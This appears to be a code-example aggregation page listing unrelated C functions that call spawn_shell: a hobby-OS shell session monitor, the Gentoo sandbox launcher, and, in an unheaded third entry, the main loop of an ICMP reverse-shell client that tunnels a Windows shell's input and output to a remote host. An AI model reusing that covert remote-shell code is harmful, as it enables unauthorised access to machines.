Beispiel #1
0
char * shmon_callback(shm_packet_t * packet) {
	shmon_packet_t * shmon_packet = (shmon_packet_t*)packet->dat;
	switch(shmon_packet->cmd) {
	case SHMON_CTRL_GRAB_PID: {
		/* Allocate shell and return its pid */
		/* Read the user from shared memory */
		char * user = shmon_packet->username;
		/* See if he is already logged in (through the hashmap) */
		if(hashmap_contains(multishell_sessions, user)) {
			/* return the user's pid instead of the new one (if he's logged in) */
			return respond_to_client((int)hashmap_get(multishell_sessions, user));
		} else {
			/* the user is not logged in, spawn new shell */
			spawn_shell(shells_forked, user);
			return respond_to_client(get_pid_from_hash(shells_forked++));
		}
		break;
	}
	case SHMON_CTRL_ADD_USR: {
		/* Add a user to the hashmap */
		/* Read the user from shared memory */
		char * user = shmon_packet->username;
		int pid = atoi(shmon_packet->cmd_dat);
		hashmap_set(multishell_sessions, user, (void*)pid);
		break;
	}
	case SHMON_CTRL_GET_USR: {
		/* Get a user from the hashmap */
		/* Grab process pid from user IF he exists */
		/* Read the user from shared memory */
		char * user = shmon_packet->username;
		if(hashmap_contains(multishell_sessions, user))
			return respond_to_client((int)hashmap_get(multishell_sessions, user));
		else
			return respond_to_client(-1);
		break;
	}
	case SHMON_CTRL_REDIR: {
		/* Sends packet to the destination process, causing that process to 'wake up'. */
		char packet_dest[SHM_MAX_ID_SIZE];
		sprintf(packet_dest, SHMON_CLIENT_LOGIN_FORMAT, atoi(shmon_packet->cmd_dat));
		char shm_msg[16] = SHMON_MSG_PROC_WAKE;

		shm_packet_t * pack = create_packet(shmon_server, packet_dest, SHM_DEV_CLIENT, shm_msg, strlen(shm_msg));
		shman_send_to_network_clear(shmon_server, pack, 0);

		free(pack);
		break;
	}
	}

	char * ret = malloc(SHM_MAX_PACKET_DAT_SIZE);
	ret[0] = 1; /* just tells it is finished really. The client won't be expecting data to return, so it's not important what number we put here */
	return ret;
}
Beispiel #2
0
void monitor_multishell() {
	if(!fork()) {
		init_shell_monitor();

		/* Create one shell at startup */
		for(int i = 0;i < MULTISHELL_STARTUP_COUNT;i++) {
			spawn_shell(i, NULL);
			shells_forked++;
		}

		/* Monitor multishell requests and reap child processes: */
		pthread_t parent_killchild;
		pthread_create(&parent_killchild, NULL, parent_killshells, NULL);

		shman_server_listen(shmon_server, shmon_callback);

		/* Better not reach this point */

		hashmap_free(multishell_sessions);
		hashmap_free(shellpid_hash);
		free(multishell_sessions);
		free(shellpid_hash);
	}
}
int main(int argc, char **argv)
{
	int opt;
	char *target;
	unsigned int delay, timeout;
	unsigned int ip_addr;
	HANDLE pipe_read, pipe_write;
	HANDLE icmp_chan;
	unsigned char *in_buf, *out_buf;
	unsigned int in_buf_size, out_buf_size;
	DWORD rs;
	int blanks, max_blanks;
	PROCESS_INFORMATION pi;
	int status;
	unsigned int max_data_size;
	struct hostent *he;


	// set defaults
	target = 0;
	timeout = DEFAULT_TIMEOUT;
	delay = DEFAULT_DELAY;
	max_blanks = DEFAULT_MAX_BLANKS;
	max_data_size = DEFAULT_MAX_DATA_SIZE;

	status = STATUS_OK;
	if (!load_deps()) {
		printf("failed to load ICMP library\n");
		return -1;
	}

	// parse command line options
	for (opt = 1; opt < argc; opt++) {
		if (argv[opt][0] == '-') {
			switch(argv[opt][1]) {
				case 'h':
				    usage(*argv);
					return 0;
				case 't':
					if (opt + 1 < argc) {
						target = argv[opt + 1];
					}
					break;
				case 'd':
					if (opt + 1 < argc) {
						delay = atol(argv[opt + 1]);
					}
					break;
				case 'o':
					if (opt + 1 < argc) {
						timeout = atol(argv[opt + 1]);
					}
					break;
				case 'r':
					status = STATUS_SINGLE;
					break;
				case 'b':
					if (opt + 1 < argc) {
						max_blanks = atol(argv[opt + 1]);
					}
					break;
				case 's':
					if (opt + 1 < argc) {
						max_data_size = atol(argv[opt + 1]);
					}
					break;
				default:
					printf("unrecognized option -%c\n", argv[1][0]);
					usage(*argv);
					return -1;
			}
		}
	}

	if (!target) {
		printf("you need to specify a host with -t. Try -h for more options\n");
		return -1;
	}
	ip_addr = to_ip(target);

	// don't spawn a shell if we're only sending a single test request
	if (status != STATUS_SINGLE) {
		status = spawn_shell(&pi, &pipe_read, &pipe_write);
	}

	// create icmp channel
	create_icmp_channel(&icmp_chan);
	if (icmp_chan == INVALID_HANDLE_VALUE) {
	    printf("unable to create ICMP file: %u\n", GetLastError());
	    return -1;
	}

	// allocate transfer buffers
	in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
	out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
	if (!in_buf || !out_buf) {
		printf("failed to allocate memory for transfer buffers\n");
		return -1;
	}
	memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
	memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);

	// sending/receiving loop
	blanks = 0;
	do {

		switch(status) {
			case STATUS_SINGLE:
				// reply with a static string
				out_buf_size = sprintf(out_buf, "Test1234\n");
				break;
			case STATUS_PROCESS_NOT_CREATED:
				// reply with error message
				out_buf_size = sprintf(out_buf, "Process was not created\n");
				break;
			default:
				// read data from process via pipe
				out_buf_size = 0;
				if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
					if (out_buf_size > 0) {
						out_buf_size = 0;
						rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
						if (!rs && GetLastError() != ERROR_IO_PENDING) {
							out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
						} 
					}
				} else {
					out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
				}
				break;
		}

		// send request/receive response
		if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {
			if (status == STATUS_OK) {
				// write data from response back into pipe
				WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
			}
			blanks = 0;
		} else {
			// no reply received or error occured
			blanks++;
		}

		// wait between requests
		Sleep(delay);

	} while (status == STATUS_OK && blanks < max_blanks);

	if (status == STATUS_OK) {
		TerminateProcess(pi.hProcess, 0);
	}

    return 0;
}
Beispiel #4
0
int main(int argc, char **argv)
{
	struct sigaction act_new;

	int sandbox_log_presence = 0;

	struct sandbox_info_t sandbox_info;

	char **sandbox_environ;
	char **argv_bash = NULL;

	char *run_str = "-c";

	/* Only print info if called with no arguments .... */
	if (argc < 2)
		print_debug = 1;
	else {
		/* handle a few common options */
		if (!strcmp(argv[1], "--version") || !strcmp(argv[1], "-V")) {
			puts(
				"Gentoo path sandbox\n"
				" version: " PACKAGE_VERSION "\n"
				" C lib:   " LIBC_VERSION " (" LIBC_PATH ")\n"
				" build:   " __DATE__ " " __TIME__ "\n"
				" contact: " PACKAGE_BUGREPORT " via http://bugs.gentoo.org/\n"
				" rtld:    "
#ifdef BROKEN_RTLD_NEXT
					"next is broken ;(\n"
#else
					"next is OK! :D\n"
#endif
#ifndef SB_SCHIZO
# define SB_SCHIZO "no"
#endif
				" schizo:  " SB_SCHIZO "\n"
				"\nconfigured with these options:\n"
				SANDBOX_CONFIGURE_OPTS
			);
			return 0;
		} else if (!strcmp(argv[1], "--help") || !strcmp(argv[1], "-h")) {
			puts(
				"Usage: sandbox [program [program args...]]\n"
				"\n"
				"Sandbox will start up a sandbox session and execute the specified program.\n"
				"If no program is specified, an interactive shell is automatically launched.\n"
				"You can use this to quickly test out sandbox behavior.\n"
				"\n"
				"Upon startup, initial settings are taken from these files / directories:\n"
				"\t" SANDBOX_CONF_FILE "\n"
				"\t" SANDBOX_CONFD_DIR "\n"
				"\n"
				"Contact: " PACKAGE_BUGREPORT " via http://bugs.gentoo.org/"
			);
			return 0;
		}
	}

	dputs(sandbox_banner);

	/* check if a sandbox is already running */
	if (!is_env_on(ENV_SANDBOX_TESTING))
		if (NULL != getenv(ENV_SANDBOX_ACTIVE))
			sb_err("not launching a new sandbox as one is already running in this process hierarchy");

	/* determine the location of all the sandbox support files */
	dputs("Detection of the support files.");

	if (-1 == setup_sandbox(&sandbox_info, print_debug))
		sb_err("failed to setup sandbox");

	/* verify the existance of required files */
	dputs("Verification of the required files.");

	if (!rc_file_exists(sandbox_info.sandbox_rc))
		sb_perr("could not open the sandbox rc file: %s", sandbox_info.sandbox_rc);

	/* set up the required environment variables */
	dputs("Setting up the required environment variables.");

	/* If not in portage, cd into it work directory */
	if ('\0' != sandbox_info.work_dir[0])
		if (chdir(sandbox_info.work_dir))
			sb_perr("chdir(%s) failed", sandbox_info.work_dir);

	/* Setup the child environment stuff.
	 * XXX:  We free this in spawn_shell(). */
	sandbox_environ = setup_environ(&sandbox_info, print_debug);
	if (NULL == sandbox_environ)
		goto oom_error;

	/* Setup bash argv */
	str_list_add_item_copy(argv_bash, "/bin/bash", oom_error);
	str_list_add_item_copy(argv_bash, "-rcfile", oom_error);
	str_list_add_item_copy(argv_bash, sandbox_info.sandbox_rc, oom_error);
	if (argc >= 2) {
		int i;

		str_list_add_item_copy(argv_bash, run_str, oom_error);
		str_list_add_item_copy(argv_bash, argv[1], oom_error);
		for (i = 2; i < argc; i++) {
			char *tmp_ptr;

			tmp_ptr = xrealloc(argv_bash[4],
					   (strlen(argv_bash[4]) +
					    strlen(argv[i]) + 2) *
					   sizeof(char));
			argv_bash[4] = tmp_ptr;

			snprintf(argv_bash[4] + strlen(argv_bash[4]),
				 strlen(argv[i]) + 2, " %s",
				 argv[i]);
		}
	}

	/* set up the required signal handlers ... but allow SIGHUP to be
	 * ignored in case people are running `nohup ...` #217898
	 */
	if (signal(SIGHUP, &stop) == SIG_IGN)
		signal(SIGHUP, SIG_IGN);
#define wsignal(sig, act) \
	do { \
		sighandler_t _old = signal(sig, act); \
		if (_old == SIG_ERR) \
			sb_pwarn("unable to bind signal %s", #sig); \
		else if (_old != SIG_DFL && _old != SIG_IGN) \
			sb_warn("signal %s already had a handler ...", #sig); \
	} while (0)
	wsignal(SIGINT, &stop);
	wsignal(SIGQUIT, &stop);
	wsignal(SIGTERM, &stop);
	act_new.sa_sigaction = usr1_handler;
	sigemptyset (&act_new.sa_mask);
	act_new.sa_flags = SA_SIGINFO | SA_RESTART;
	sigaction (SIGUSR1, &act_new, NULL);

	/* STARTING PROTECTED ENVIRONMENT */
	dputs("The protected environment has been started.");
	dputs(sandbox_footer);
	dputs("Process being started in forked instance.");

	/* Start Bash */
	int shell_exit = spawn_shell(argv_bash, sandbox_environ, print_debug);

	/* As spawn_shell() free both argv_bash and sandbox_environ, make sure
	 * we do not run into issues in future if we need a OOM error below
	 * this ... */
	argv_bash = NULL;
	sandbox_environ = NULL;

	dputs("Cleaning up sandbox process");
	dputs(sandbox_banner);
	dputs("The protected environment has been shut down.");

	if (rc_file_exists(sandbox_info.sandbox_log)) {
		sandbox_log_presence = 1;
		print_sandbox_log(sandbox_info.sandbox_log);
	} else
		dputs(sandbox_footer);

	if (!is_env_on(ENV_SANDBOX_TESTING))
		if (sandbox_log_presence && shell_exit == 0)
			shell_exit = 1;
	return shell_exit;

oom_error:
	if (NULL != argv_bash)
		str_list_free(argv_bash);

	sb_perr("out of memory (environ)");
}